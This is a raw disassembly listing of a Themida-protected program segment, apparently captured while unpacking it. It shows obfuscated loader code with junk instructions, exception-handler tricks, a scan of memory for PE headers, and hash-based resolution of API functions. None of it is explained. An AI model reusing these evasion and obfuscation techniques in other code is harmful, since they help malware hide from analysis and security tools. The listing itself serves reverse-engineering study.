dd 7C90FB71h, 0FFA07E09h, 0Dh dup(0)
dd offset byte_5BF907
dd 10h dup(0)
dd 2D59h, 2 dup(0)
dd 0B3B738h, 0
dd 0C4h, 0
dd 7ED3FFB4h, 2 dup(0)
dd 86BFCE08h, 0
dd 2D59h, 4 dup(0)
; ---------------------------------------------------------------------------
jmp short near ptr byte_5850F3
; ---------------------------------------------------------------------------
dw 0FF44h
dd 3 dup(0)
dd 0B10000h, 0A8D287h, 5 dup(0)
dd 3D57h, 2638h, 0
dd offset dword_5D9534
dd 2 dup(0)
db 3 dup(0)
byte_5850F3 db 0 ; CODE XREF: Themida_:005850ACj
align 8
dd 245F0E99h, 0B8h, 74C00B00h, 18C203h, 0C24448Bh, 0E853h
dd 815B0000h, 17C3h, 245C8900h, 24448910h, 37B85B14h, 0FF00B1FAh
dd 24448BE0h, 0E0FF04h, 16h dup(0)
dd offset loc_5F1F49
dd 6 dup(0)
dd 0C246DA44h, 400000h, 5 dup(0)
dd offset byte_60351B
align 8
dd offset loc_5BFAD6
dd 2 dup(0)
dd 2540000h, 0
dd 0C49CBEEEh, 0
dd offset byte_5F2635
dd 0
dd 0B73F5Ch, 0Bh dup(0)
dd 76B44E5Bh, 7C801A24h, 7C90DDF9h, 0
dd 5C28h, 0
dd 0A9C530DFh, 6 dup(0)
dd 7C803518h, 0
dd 7F1A94E3h, 9 dup(0)
dd 0FFFFFAD6h, 0
dd offset byte_5DAF8D
dd 77DDEE5Ah, 912B661Ch, 28h dup(0)
dd 0FBh, 4 dup(0)
dd 32597F5Dh, 2 dup(0)
dd 74736552h, 41747261h, 652E7070h, 6578h, 5FA4F2h, 0
dd 4C170C15h, 24h dup(0)
dd 6813h, 0
dd 7C90EB94h, 3 dup(0)
dd 11111111h, 0
dd 7C90EE18h, 0
dd 0BD850FBDh, 280h, 6 dup(0)
dd 1F3FFB0h, 4 dup(0)
dd offset loc_5BFAD6
dd 7 dup(0)
dd 21212121h, 5C6ECCh, 5BCB8Dh, 0BA6607E9h, 7C8034F0h
dd 4 dup(0)
dd offset byte_5BF907
dd 12FFE0h, 3 dup(0)
dd 25D6DF4h, 7 dup(0)
; ---------------------------------------------------------------------------
wait
retn
; ---------------------------------------------------------------------------
dw 5Fh
dd 0B11920h, 582538h, 3 dup(0)
dd 0B19417h, 5 dup(0)
dd 7D0Dh, 0B527848Ah, 0Fh dup(0)
dd offset sub_60AEF3
aThemida db 'Themida',0
dd 20h dup(0)
dd 8A7F6F08h, 9 dup(0)
dd 9C7C1FAh, 0
dd offset byte_5C0979
align 10h
dd 0FFA3E2B0h, 9 dup(0)
dd 0B1B508h, 5F48EDh, 40EF921h, 0FF4EE7F1h, 0
dd 0B1180Fh, 0FE3AE841h, 0
dd offset dword_583210
dd 279D95B7h, 2 dup(0)
dd 205A8474h, 2 dup(0)
dd offset loc_5B4B69
dd 0
dd 0FF4EE7F1h, 3 dup(0)
dd 0B69178h, 5 dup(0)
dd offset dword_5B5FD0
dd 7 dup(0)
dd 0FFA3FFDDh, 0Bh dup(0)
dd 2D59h, 9 dup(0)
dd offset sub_60AEF3
dd 5 dup(0)
dd 0FFA1487Bh, 11h dup(0)
dd offset loc_60C639
dd 0FFFF94A4h, 5 dup(0)
dd 26E0000h, 0
dd 0BB0B3Ch, 2 dup(0)
dd 1A38h, 0
dd 0FFA3FFDDh, 1C32DF67h, 3D94h, 4 dup(0)
dd 1, 2 dup(0)
dd offset dword_5C0B3C
dd 0
dd 6D5C3A43h, 706E755Fh, 656B6361h, 72h, 7Dh dup(0)
; ---------------------------------------------------------------------------
mov ah, [esp+esi*2]
clc
retf 60C4h
; ---------------------------------------------------------------------------
align 10h
dd 2 dup(0)
dd 0FFFF98EAh, 0
dd 0B119F0h, 6 dup(0)
dd 170DEF19h
; ---------------------------------------------------------------------------
loc_585A20: ; CODE XREF: Themida_:loc_58248Bj
mov eax, ebp
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 7E4359Fh
mov [ebp+7E40649h], edx
mov [ebp+7E40F11h], esi
mov [ebp+7E41271h], eax
cmp dword ptr [ebp+7E40E65h], 0
jz short loc_585A58
mov ebp, eax
mov esp, edx
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_585A58: ; CODE XREF: Themida_:00585A4Aj
mov eax, [esp+24h]
mov [ebp+7E41551h], eax
push 45h
call sub_585B0C
push 783749Ah
call sub_585B52
push 0A894B25h
call sub_585B52
jmp loc_585C96
; ---------------------------------------------------------------------------
dw 4645h
dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h
dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh
dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh
dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h
dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h
dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh
dd 0C2C1C0BFh, 0C3h, 2 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_585B0C proc near ; CODE XREF: Themida_:00585A64p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 7E4368Dh
mov ebx, edx
mov [ebp+var_28], 0
loc_585B28: ; CODE XREF: sub_585B0C+39j
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
cmp [ebp+var_28], 80h
jz short loc_585B47
mov eax, [ebp+arg_0]
mov [ebx+7E435F7h], eax
inc [ebp+arg_0]
inc ebx
jmp short loc_585B28
; ---------------------------------------------------------------------------
loc_585B47: ; CODE XREF: sub_585B0C+2Aj
mov [ebp+var_24], eax
popa
mov eax, [ebp+var_24]
leave
retn 4
sub_585B0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_585B52 proc near ; CODE XREF: Themida_:00585A6Ep
; Themida_:00585A78p
var_84 = dword ptr -84h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 7E436D6h
lea eax, [ebp+var_80]
mov ebx, [ebp+arg_0]
mov [ebp+var_84], 0
loc_585B78: ; CODE XREF: sub_585B52+41j
mov ecx, [ebp+var_84]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp+var_84], ecx
cmp [ebp+var_84], 80h
jnz short loc_585B78
mov [ebp+var_84], 0
lea edi, [edx+7E435F7h]
lea esi, [ebp+var_80]
loc_585BA8: ; CODE XREF: sub_585B52+83j
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
loc_585BB4: ; CODE XREF: sub_585B52+69j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_585BB4
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp+var_84]
inc ecx
mov [ebp+var_84], ecx
cmp ecx, 80h
jnz short loc_585BA8
popa
leave
retn 4
sub_585B52 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_585BF2
; ---------------------------------------------------------------------------
loc_585BEE: ; CODE XREF: Themida_:00585BF5j
inc dword ptr [ebp-4]
inc esi
loc_585BF2: ; CODE XREF: Themida_:00585BECj
cmp byte ptr [esi], 0
jnz short loc_585BEE
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_585C83
; ---------------------------------------------------------------------------
loc_585C04: ; CODE XREF: Themida_:00585C86j
mov dword ptr [ebp-8], 0
jmp short loc_585C7A
; ---------------------------------------------------------------------------
loc_585C0D: ; CODE XREF: Themida_:00585C7Ej
mov dword ptr [ebp-10h], 0
mov dword ptr [ebp-0Ch], 0
jmp short loc_585C67
; ---------------------------------------------------------------------------
loc_585C1D: ; CODE XREF: Themida_:00585C6Bj
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_585C3F
cmp bl, 39h
ja short loc_585C3F
sub bl, 30h
jmp short loc_585C61
; ---------------------------------------------------------------------------
loc_585C3F: ; CODE XREF: Themida_:00585C33j
; Themida_:00585C38j
cmp bl, 61h
jb short loc_585C51
cmp bl, 66h
ja short loc_585C51
sub bl, 61h
add bl, 0Ah
jmp short loc_585C61
; ---------------------------------------------------------------------------
loc_585C51: ; CODE XREF: Themida_:00585C42j
; Themida_:00585C47j
cmp bl, 41h
jb short loc_585C61
cmp bl, 46h
ja short loc_585C61
sub bl, 41h
add bl, 0Ah
loc_585C61: ; CODE XREF: Themida_:00585C3Dj
; Themida_:00585C4Fj ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_585C67: ; CODE XREF: Themida_:00585C1Bj
cmp dword ptr [ebp-0Ch], 2
jb short loc_585C1D
cmp dword ptr [ebp-10h], 0
jbe short loc_585C77
mov eax, [ebp-10h]
stosb
loc_585C77: ; CODE XREF: Themida_:00585C71j
inc dword ptr [ebp-8]
loc_585C7A: ; CODE XREF: Themida_:00585C0Bj
cmp dword ptr [ebp-8], 2
jb short loc_585C0D
add edx, 4
loc_585C83: ; CODE XREF: Themida_:00585C02j
cmp edx, [ebp-4]
jb loc_585C04
mov al, 0
stosb
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
loc_585C96: ; CODE XREF: Themida_:00585A7Dj
mov ecx, 7000h
lea edi, [ebp+7E4381Ch]
loc_585CA1: ; CODE XREF: Themida_:00585CA5j
dec byte ptr [edi]
inc edi
dec ecx
jnz short loc_585CA1
mov eax, 48692121h
mov edx, 0F0115000h
sub edx, 0F0000000h
lea eax, [ebp+7E4390Eh]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
push 0
push edx
call sub_585CDD
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_585CDD proc near ; CODE XREF: Themida_:00585CD5p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_585CDD endp
; ---------------------------------------------------------------------------
jnb short loc_585D45
mov bx, 6AD2h
pop ebx
jo loc_585CFB
stc
loc_585CFB: ; CODE XREF: Themida_:00585CF4j
stc
stc
sub eax, edx
xor bx, 1B63h
and eax, 0FFFFF000h
movzx ebx, di
mov ecx, edx
xor edi, edi
loc_585D10: ; CODE XREF: Themida_:00585D2Bj
cmp word ptr [eax], 5A4Dh
jnz short loc_585D25
movzx edx, word ptr [eax+3Ch]
add edx, eax
cmp dword ptr [edx], 4550h
jz short loc_585D2D
loc_585D25: ; CODE XREF: Themida_:00585D15j
sub eax, 1000h
inc edi
jmp short loc_585D10
; ---------------------------------------------------------------------------
loc_585D2D: ; CODE XREF: Themida_:00585D23j
pop large dword ptr fs:0
add esp, 4
lea edx, [ebp+7E43921h]
push edx
push large dword ptr fs:0
loc_585D45: ; CODE XREF: Themida_:00585CEDj
mov large fs:0, esp
add eax, ecx
sub eax, 1000h
mov esi, [eax+4]
and esi, 0FFFF0000h
cmp esi, 80000000h
jbe short loc_585D67
mov esi, [eax+1Ch]
loc_585D67: ; CODE XREF: Themida_:00585D62j
xor eax, eax
loc_585D69: ; CODE XREF: Themida_:00585D7Cj
cmp eax, 32h
jz short loc_585D8D
cmp word ptr [esi], 5A4Dh
jz short loc_585D7E
loc_585D75: ; CODE XREF: Themida_:00585D8Bj
sub esi, 10000h
inc eax
jmp short loc_585D69
; ---------------------------------------------------------------------------
loc_585D7E: ; CODE XREF: Themida_:00585D73j
mov edi, [esi+3Ch]
add edi, esi
cmp dword ptr [edi], 4550h
jz short loc_585DCF
jmp short loc_585D75
; ---------------------------------------------------------------------------
loc_585D8D: ; CODE XREF: Themida_:00585D6Cj
pop large dword ptr fs:0
add esp, 4
popa
retn
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
sub dword ptr [ecx+0B0h], 1000h
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
push ebp
call $+5
pop ebp
sub ebp, 7E4392Ch
lea eax, [ebp+7E438EAh]
mov [ecx+0B8h], eax
pop ebp
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_585DCF: ; CODE XREF: Themida_:00585D89j
xchg eax, esi
pop large dword ptr fs:0
add esp, 4
call sub_585DEA
or [ebx-966348Dh], eax
mov ds:436C7ECAh, al
; =============== S U B R O U T I N E =======================================
sub_585DEA proc near ; CODE XREF: Themida_:00585DDAp
sub bh, 0E8h
pop ebx
mov bh, 0FEh
mov cx, ds
push edx
mov ebx, 70019D0Bh
pop ebx
and cl, 4
push 0
push eax
call sub_585E08
and [eax-3Dh], bl
sub_585DEA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_585E08 proc near ; CODE XREF: sub_585DEA+16p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_585E08 endp
; ---------------------------------------------------------------------------
sub ch, 0DDh
retn 6492h
; ---------------------------------------------------------------------------
stosb
jmp loc_585E30
; ---------------------------------------------------------------------------
pop es
mov eax, ds:5D4B0675h
dec edi
mov ebx, 79B14D43h
loc_585E30: ; CODE XREF: Themida_:00585E1Fj
or cl, cl
jnz loc_585EB1
pusha
jmp loc_585E52
; ---------------------------------------------------------------------------
dw 2D30h
dd 7A183783h, 2E0315FBh, 15CF39A9h, 81DA85EFh
db 1Eh, 0F6h
; ---------------------------------------------------------------------------
loc_585E52: ; CODE XREF: Themida_:00585E39j
mov al, dh
popa
mov bx, 3822h
mov dword ptr [ebp+7E42015h], 1
push 0
push ecx
call sub_585E6E
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_585E6E proc near ; CODE XREF: Themida_:00585E66p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_585E6E endp
; ---------------------------------------------------------------------------
dw 83BDh
dd 7CB40D07h, 0E93BA3AEh, 13h, 0F17EE9E2h, 0C62AECADh
dd 0B6A56C88h, 444926FFh, 66DEAF17h, 0BF0FDF8Bh, 14E9D8h
dd 81660000h, 8B157CCBh
db 0DFh
; ---------------------------------------------------------------------------
loc_585EB1: ; CODE XREF: Themida_:00585E32j
mov dword ptr [ebp+7E42015h], 0
movzx ebx, dx
mov [ebp+7E4019Dh], eax
push 0
push ebx
call sub_585ECF
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_585ECF proc near ; CODE XREF: Themida_:00585EC7p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_585ECF endp
; ---------------------------------------------------------------------------
db 0Ch
dd 66832669h, 0EE9DCh, 0F9EF0000h, 96A80AFh, 9948D15Fh
dd 5778ADC5h, 75DB8166h, 41858912h, 0E807E421h, 6, 631233Ah
dd 8B6698CFh, 8C0F5FC1h, 2, 0C78195B0h, 75BBh, 0F512BEF8h
dd 0EE813B77h, 3B77D7C8h, 38DAD281h, 1F8B0551h, 2800F60h
dd 8A000000h, 0C38161C5h, 1FE5114Ch, 7E9h, 0C5D59300h
dd 0A8DDE311h, 895F381h, 0D38B4DA3h, 0E73FEB81h, 0B8662AE7h
dd 0B953710Eh, 635E71BEh, 0B866078Fh, 0EF8368BDh, 4F7EB402h
dd 0D38B664Fh, 0D850F4Eh, 0E9000000h, 1Bh, 0EB316Eh, 4341A007h
dd 49E98166h, 0FF9CE961h, 990EFFFFh, 0F6A69413h, 0E8F4ED61h
dd 6, 0FF06E11Fh, 0BE66B8F6h, 815A31A2h, 62CAC2h, 14E900h
dd 0D13A0000h, 817A1EDDh, 5974B0BEh, 3488FE70h, 0C55664FEh
dd 688094h, 0F000000h, 6659F0B7h, 34FFC78Bh, 8A0F5B11h
dd 2, 0C381F28Bh, 109C3FAh, 0C6E08152h, 5F176482h, 25C2F381h
dd 0BF0F6DD9h, 0D9F381F7h, 661A86E6h, 89A7B0BEh, 6FB80A1Ch
dd 0F412DE0h, 287h, 83FA8B00h, 0B70F01E9h, 494949F0h, 0F981F88Bh
dd 0FFFF9DDCh, 0B850Fh, 1BE90000h, 0BC000000h, 0F875DBDDh
dd 3870F81h, 66000000h, 93E9FA8Bh, 0FFFFFFFh, 0B9D9BD2Eh
dd 4EB7148h, 21Bh, 6E3E9h, 0E0816000h, 3919B8BBh, 24ADBD09h
db 0E4h, 7, 61h
; =============== S U B R O U T I N E =======================================
sub_586067 proc far ; DATA XREF: Themida_:005842C4o
var_24 = dword ptr -24h
var_4 = dword ptr -4
arg_FFFFFFFC = dword ptr 4
arg_0 = dword ptr 8
pusha
pusha
jg loc_586075
js $+6
loc_586075: ; CODE XREF: sub_586067+2j
popa
sub eax, eax
mov [ebp+7E41E19h], ebx
mov edx, [esp+20h+arg_0]
stc
mov [ebp+7E412D1h], eax
mov [ebp+7E41CC5h], ecx
mov esi, 3Ch
pusha
jmp loc_5860A1
; ---------------------------------------------------------------------------
push edx
fld qword ptr [ecx+5AA3BFh]
loc_5860A1: ; CODE XREF: sub_586067+2Ej
or bl, 8Bh
popa
add esi, [esp+20h+arg_FFFFFFFC]
mov [ebp+7E42B3Dh], eax
lodsw
mov [ebp+7E41C71h], esi
add eax, [esp+20h+arg_FFFFFFFC]
mov [ebp+7E4043Dh], ecx
jmp loc_5860D9
; ---------------------------------------------------------------------------
dw 815h
; ---------------------------------------------------------------------------
retn 764Fh
; ---------------------------------------------------------------------------
db 0BAh
dd 0CD444F80h, 91B50B4Dh, 4C1612BDh
db 67h
; ---------------------------------------------------------------------------
loc_5860D9: ; CODE XREF: sub_586067+5Aj
push eax
jz loc_5860F9
jmp loc_5860F9
; ---------------------------------------------------------------------------
db 0A0h, 39h, 40h
dd 571085ADh, 7E4FDA13h, 0F6CFC41Fh, 1B49D7C8h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
loc_5860F9: ; CODE XREF: sub_586067+73j
; sub_586067+79j
mov [esp+24h+var_24], eax
mov [ebp+7E42D19h], edx
clc
mov eax, [eax+78h]
pusha
sub ebx, 128BE50Eh
popa
add eax, [esp+24h+arg_FFFFFFFC]
mov [ebp+7E42D1Dh], edi
mov eax, [eax+18h]
stc
inc eax
cmc
mov [ebp+7E43BC5h], eax
mov [ebp+7E41BADh], esi
pop eax
jge loc_586132
stc
loc_586132: ; CODE XREF: sub_586067+C4j
mov esi, [eax+78h]
xor [ebp+7E42511h], esi
sub [ebp+7E414F1h], eax
add esi, 1Ch
jmp loc_586154
; ---------------------------------------------------------------------------
db 0C8h, 67h, 0D2h
dd 89617AFEh, 0CBC6FF96h
; ---------------------------------------------------------------------------
loc_586154: ; CODE XREF: sub_586067+DDj
add esi, [esp+20h+arg_FFFFFFFC]
jmp loc_586162
; ---------------------------------------------------------------------------
push ebx
retf 0B785h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
loc_586162: ; CODE XREF: sub_586067+F1j
lea edi, [ebp+7E4090Dh]
jbe loc_58616F
clc
loc_58616F: ; CODE XREF: sub_586067+101j
jz loc_586188
pusha
or ecx, [ebp+7E426F9h]
jmp loc_586187
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
dw 8510h
db 85h, 0F8h, 31h
; ---------------------------------------------------------------------------
loc_586187: ; CODE XREF: sub_586067+115j
popa
loc_586188: ; CODE XREF: sub_586067:loc_58616Fj
lodsd
mov [ebp+7E423B5h], ecx
add eax, [esp+20h+arg_FFFFFFFC]
pusha
mov si, 0D04h
mov ecx, [ebp+7E42C4Dh]
popa
mov [ebp+7E42A05h], edx
stosd
pusha
mov ebx, 6B878890h
jmp loc_5861BC
; ---------------------------------------------------------------------------
db 4Bh, 0EDh, 6
dd 0EC2EFC73h, 7F36129Dh
; ---------------------------------------------------------------------------
loc_5861BC: ; CODE XREF: sub_586067+145j
popa
lea edi, [ebp+7E4220Dh]
jnp loc_5861CF
or [ebp+7E407ADh], esi
loc_5861CF: ; CODE XREF: sub_586067+15Cj
lodsd
pusha
mov edx, [ebp+7E42761h]
pusha
mov ecx, [ebp+7E406ADh]
jmp loc_5861F3
; ---------------------------------------------------------------------------
sub byte ptr [ecx], 14h
mov edx, 8CA7AA96h
leave
add eax, edx
dec eax
push eax
sti
or ecx, ebx
loc_5861F3: ; CODE XREF: sub_586067+177j
popa
popa
mov [ebp+7E41A2Dh], ecx
add eax, [esp+20h+arg_FFFFFFFC]
jmp loc_586212
; ---------------------------------------------------------------------------
dd 3AE6EBBFh, 0F3355722h, 9666EDABh
db 8Eh, 89h
; ---------------------------------------------------------------------------
loc_586212: ; CODE XREF: sub_586067+198j
push eax
pusha
mov dh, 0ECh
mov eax, 6ABFA251h
popa
mov [esp+24h+var_24], eax
xor [ebp+7E40235h], eax
stosd
jmp loc_586235
; ---------------------------------------------------------------------------
db 42h
dd 7F4104BCh, 93FF09CAh
db 0F0h
; ---------------------------------------------------------------------------
loc_586235: ; CODE XREF: sub_586067+1BFj
lea edi, [ebp+7E41AF9h]
jle loc_586242
cld
loc_586242: ; CODE XREF: sub_586067+1D4j
lodsd
sub [ebp+7E42641h], edx
add eax, [esp+24h+arg_FFFFFFFC]
jo loc_586259
sub [ebp+7E42005h], edi
loc_586259: ; CODE XREF: sub_586067+1E6j
stosd
clc
jmp loc_586267
; ---------------------------------------------------------------------------
dd 0A0006EC0h
db 40h, 0CAh, 94h
; ---------------------------------------------------------------------------
loc_586267: ; CODE XREF: sub_586067+1F4j
pop esi
jnz loc_586274
xor [ebp+7E40DB9h], ecx
loc_586274: ; CODE XREF: sub_586067+201j
mov [ebp+7E42DC5h], esi
loc_58627A: ; CODE XREF: sub_586067+29Fj
dec dword ptr [ebp+7E43BC5h]
cmp dword ptr [ebp+7E43BC5h], 0
jnz short loc_586299
mov [esp+20h+var_4], 0
lea esi, [ebp+7E44041h]
jmp esi
; ---------------------------------------------------------------------------
loc_586299: ; CODE XREF: sub_586067+220j
push esi
lodsd
add eax, [esp+24h+arg_FFFFFFFC]
xchg eax, edi
mov ebx, edi
mov al, [ebp+7E42C2Dh]
test al, al
jz short loc_5862B0
cmp al, [edi]
jnz short loc_5862FC
loc_5862B0: ; CODE XREF: sub_586067+243j
push edi
xor al, al
loc_5862B3: ; CODE XREF: sub_586067+24Dj
scasb
jnz short loc_5862B3
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
loc_5862C0: ; CODE XREF: sub_586067+282j
xor eax, eax
xor ebx, ebx
lodsb
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
loc_5862CF: ; CODE XREF: sub_586067+27Bj
shr bx, 1
rcr ax, 1
jnb short loc_5862E0
xor ax, 5041h
xor bx, 5449h
loc_5862E0: ; CODE XREF: sub_586067+26Ej
dec dh
jnz short loc_5862CF
xor ecx, eax
xor edx, ebx
dec edi
jnz short loc_5862C0
not edx
not ecx
mov eax, edx
rol eax, 10h
mov ax, cx
pop edx
cmp edx, eax
jz short loc_58630B
loc_5862FC: ; CODE XREF: sub_586067+247j
pop esi
add esi, 4
inc dword ptr [ebp+7E412D1h]
jmp loc_58627A
; ---------------------------------------------------------------------------
loc_58630B: ; CODE XREF: sub_586067+293j
pop esi
jmp loc_586320
; ---------------------------------------------------------------------------
db 17h, 85h, 72h
dd 46E32429h, 0A80216A0h, 0C5B98C77h
; ---------------------------------------------------------------------------
loc_586320: ; CODE XREF: sub_586067+2A5j
mov [ebp+7E4063Dh], ebx
mov eax, [ebp+7E412D1h]
mov [ebp+7E42A5Dh], ebx
shl eax, 1
mov [ebp+7E43331h], ebx
add eax, [ebp+7E41AF9h]
cmc
clc
sub esi, esi
pusha
push ebx
mov [ebp+7E40A99h], edx
pop ecx
and ecx, 79757602h
popa
xchg eax, esi
mov [ebp+7E43031h], eax
lodsw
or [ebp+7E4166Dh], eax
shl eax, 2
or [ebp+7E42B05h], edx
jmp loc_58637C
; ---------------------------------------------------------------------------
mov [ecx+esi*4-36h], cl
sub edx, [esi+ebx*8+1DA46258h]
loc_58637C: ; CODE XREF: sub_586067+305j
add eax, [ebp+7E4090Dh]
jg loc_58639C
jmp loc_58639C
; ---------------------------------------------------------------------------
db 2Fh, 1Ah, 5Dh
dd 3CB2D88h, 987063C4h, 0C84E4C4Fh
; ---------------------------------------------------------------------------
loc_58639C: ; CODE XREF: sub_586067+31Bj
; sub_586067+321j
xchg eax, esi
pusha
and edi, 4D8B11B6h
mov [ebp+7E41F21h], esi
popa
lodsd
jmp loc_5863B6
; ---------------------------------------------------------------------------
or al, 0D6h
or al, 0BCh
scasb
loc_5863B6: ; CODE XREF: sub_586067+345j
mov ecx, [esp+20h+arg_FFFFFFFC]
or [ebp+7E4156Dh], ebx
add eax, [esp+20h+arg_FFFFFFFC]
sub [ebp+7E40DADh], edx
mov [esp+20h+var_4], eax
js loc_5863D5
stc
loc_5863D5: ; CODE XREF: sub_586067+367j
jnb loc_5863E1
mov [ebp+7E42365h], edx
loc_5863E1: ; CODE XREF: sub_586067:loc_5863D5j
xchg eax, esi
mov [ebp+7E4165Dh], eax
stc
lodsb
pusha
jle loc_5863F6
sbb ax, 0B717h
loc_5863F6: ; CODE XREF: sub_586067+384j
popa
xor cl, cl
pusha
jle loc_586402
push ebx
pop ecx
loc_586402: ; CODE XREF: sub_586067+393j
popa
inc cl
jnp loc_586424
jz loc_586424
jmp loc_586424
; ---------------------------------------------------------------------------
dw 0EAE7h
; ---------------------------------------------------------------------------
xor eax, 0D03E208h
pop eax
sub eax, [edx+7CF68B79h]
loc_586424: ; CODE XREF: sub_586067+39Ej
; sub_586067+3A4j ...
rcl al, 1
jnb loc_5864CC
cld
rcl al, 1
jnb loc_5864CC
cmc
pusha
add [ebp+7E41B21h], esi
sub [ebp+7E408A1h], eax
popa
rcl al, 1
jb loc_5864CC
sub [ebp+7E42309h], edx
rcl al, 1
jb loc_5864CC
or [ebp+7E40E4Dh], edx
cld
dec cl
jns loc_586424
pusha
stc
popa
add esp, 20h
mov [ebp+7E41429h], eax
mov dword ptr [esp-4], 0
pusha
add [ebp+7E40299h], edi
sub [ebp+7E40EFDh], ebx
popa
mov eax, 1
jmp loc_58649B
; ---------------------------------------------------------------------------
db 39h, 0D7h, 80h
db 82h, 0B0h, 68h
; ---------------------------------------------------------------------------
loc_58649B: ; CODE XREF: sub_586067+429j
jmp loc_5864B2
; ---------------------------------------------------------------------------
xor eax, 81403D91h
add al, 74h
cmp eax, 21B46085h
pop edx
imul ch
retn
; ---------------------------------------------------------------------------
db 0CCh
db 2Ch
; ---------------------------------------------------------------------------
loc_5864B2: ; CODE XREF: sub_586067:loc_58649Bj
lea ecx, [ebp+7E472B7h]
sub [ebp+7E42025h], esi
jmp ecx
; ---------------------------------------------------------------------------
jmp loc_5864CC
; ---------------------------------------------------------------------------
db 0A2h, 2Eh, 7Ah
dd 13495F31h
; ---------------------------------------------------------------------------
loc_5864CC: ; CODE XREF: sub_586067+3BFj
; sub_586067+3C8j ...
mov byte ptr [ebp+7E42C2Dh], 0
cld
popa
pusha
mov esi, [ebp+7E41D6Dh]
sub ecx, 4AD2EB02h
popa
retn 8
sub_586067 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 9D89h
dd 7E41979h
dword_5864EC dd 50525050h, 0F616052h, 0BE931h, 5B220000h, 1E08F1F3h
; DATA XREF: Themida_:00584838o
dd 7C58283Fh, 0F585A92h, 0EE931h, 0B0330000h, 0B7D08BD3h
dd 0CC3FE22Ch, 8C353668h, 3489585Ah, 1E860F24h, 0F000000h
dd 188Ah, 13E900h, 0CC50000h, 0F64CD755h, 4128CEBFh, 0A4B94DBBh
dd 410C9122h, 8AB58937h, 0E907E442h, 0Ah, 32BAF8E8h, 0CA64B211h
dd 8D898360h, 7E44295h, 6840Fh, 0BD010000h, 7E41945h, 410BB58Dh
dd 8DFC07E4h, 5B8EA185h, 0D0FFFC00h, 0B5B58960h, 6007E41Ah
dd 6161C8B6h, 0EDBD095Eh, 0C307E418h, 243DB589h, 0B58B07E4h
dd 7E4428Ah, 0F858589h, 8D8B07E4h, 7E44295h, 68A0Fh, 0B5090000h
dd 7E42B69h, 0B8h, 168A0F00h, 0F000000h, 108Fh, 0BE900h
dd 4200000h, 8D1E66E5h, 0CC306876h, 0E9D98B8Bh, 8, 29E5735h
dd 2BC81AE0h, 0ECE9h, 6800F00h, 89000000h, 0E40DED8Dh
dd 29263207h, 0E40EA58Dh, 0F902B207h, 8CE9h, 1D860F00h
dd 60000000h, 10E9h, 987BA500h, 3ED2A770h, 0AE380F4Ch
dd 95337C87h, 0B19D897Ch, 6107E406h, 60FCC232h, 68D0Fh
dd 0DF810000h, 27FFFD2h, 3BC78166h, 7A056111h, 298A751Dh
dd 0E42AE195h, 85B58907h, 8A07E409h, 850B60CCh, 7E4140Dh
dd 0FCC8D361h, 0D1084235h, 14E998h, 6A2C0000h, 7712847Dh
dd 49D92D96h, 32F19DC5h, 0E4A40B56h, 0CAFE6346h, 10E9h
dd 0A435DE00h, 2C3B319Eh, 3D253766h, 0A1672D0Ch, 0FD20A55h
dd 0FFFF8F85h, 0C800FFFh, 0F000000h, 687h, 0A9853100h
